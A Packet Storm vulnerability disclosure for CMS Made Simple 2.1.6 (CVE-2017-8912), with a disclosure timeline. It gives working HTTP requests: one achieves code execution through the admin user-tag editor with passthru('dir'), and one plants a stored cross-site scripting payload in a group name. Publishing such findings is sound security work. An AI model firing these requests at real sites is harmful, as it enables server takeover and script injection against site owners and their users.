CMS Made Simple 2.1.6 Code Execution / Cross Site Scripting

CMS Made Simple version 2.1.6 suffers from code execution and cross site scripting vulnerabilities.

MD5 | fe8ae1a4ea67237579bd325e4d507415

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# Title:             CMSMS 2.1.6 Multiple Vulnerabilities
# Date:              10-05-2017
# Tested on:         Windows 8 64-bit
# Exploit Author:    Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/
# CVE: CVE-2017-8912

Remote Code Execution
======================

POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1

_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 


Stored XSS 
==========

POST /cmsms/admin/addgroup.php HTTP/1.1

_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true


Disclosure Timeline
====================

09-05-2017: Reported to the vendor
09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)
10-05-2017: Public disclosure
11-05-2017: Assigned CVE-2017-8912

Source: packetstormsecurity.com